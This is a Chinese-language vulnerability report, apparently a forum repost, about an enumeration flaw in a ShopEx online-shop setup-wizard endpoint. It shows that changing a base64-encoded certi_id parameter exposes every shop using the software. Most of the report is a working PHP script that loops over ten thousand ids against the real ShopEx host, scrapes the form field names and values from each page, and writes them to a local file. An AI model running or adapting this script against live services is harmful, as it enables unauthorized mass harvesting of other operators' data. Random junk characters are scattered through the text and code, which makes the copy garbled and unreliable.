ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面


$ `/ v# c6 m* F  q
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" k) F) B  A4 M8 @9 M
2 r1 l1 `' _+ |; C9 S1 r" d$ T
: J% z+ I; S: R- W
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



& J, V) I: c) y! G( n0 f1 g' r我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



<?php
( K0 h, j* k6 h; w! M
8 q0 c8 c& a) @$ p8 y& z6 t                for ($i=1; $i < 10000; $i++) { //遍历

& H2 P, ^" B, [/ ^& x$ F* |6 s                        ShowshopExD($i);
' e4 s0 [, \  u% O( O9 \( b
                }
- u  f# I* O0 Y( a8 w
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
; u' k: Y' u. b) s
        $url = $url.'?refer='.$refer;
! w% m8 ]# K/ C0 L
+ C) \. y4 t( d/ [" u3 K. ~        $ch = curl_init($url);
5 H* F# C- B1 V8 }/ U1 |
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
9 J3 I  u' |1 k* u4 k, B  K1 {
        $result = curl_exec($ch);
) O( R9 e) }# v( Z2 O
! ~* b& ?0 i) U' d9 g4 R3 P( m        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
) F! w6 v3 T7 Y7 N" Q
        {
  K, `2 r' Z; p' Z; h
' w8 N8 |2 X  f                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
0 B$ k% _% f" [, r3 z" o) w
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
# D# a6 q  M* n) Z) b
                foreach ($value[1] as $key) {
( L8 u" L9 O1 [2 B1 ^
/ A* [6 U6 I, p8 Z/ [% S8 J                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

3 l: L$ j$ J' A3 m. n( i/ A$ F6 `                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

                }
& y, O6 a' ?' l! a& i
  P1 W$ Q8 {( M/ J, Y! I6 E6 F                echo '--------------------------------'."\r\n";
: C& D3 y& N5 E% W% n
                fclose($fp);

$ x) q: J; `3 n9 J. {6 x. X6 t% e* M* Y, Y        }
5 V, h) c- z, L  \
( m0 J) Z) w2 C2 L; ^        flush();
" C5 K! x4 Y. E
        curl_close($ch);

                }

- i* V% v& N9 T/ x, v! [0 t?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
2 O6 C) ^1 `" D% Hrefer换成其他加密方式
- @( f: M) U3 ~" l( d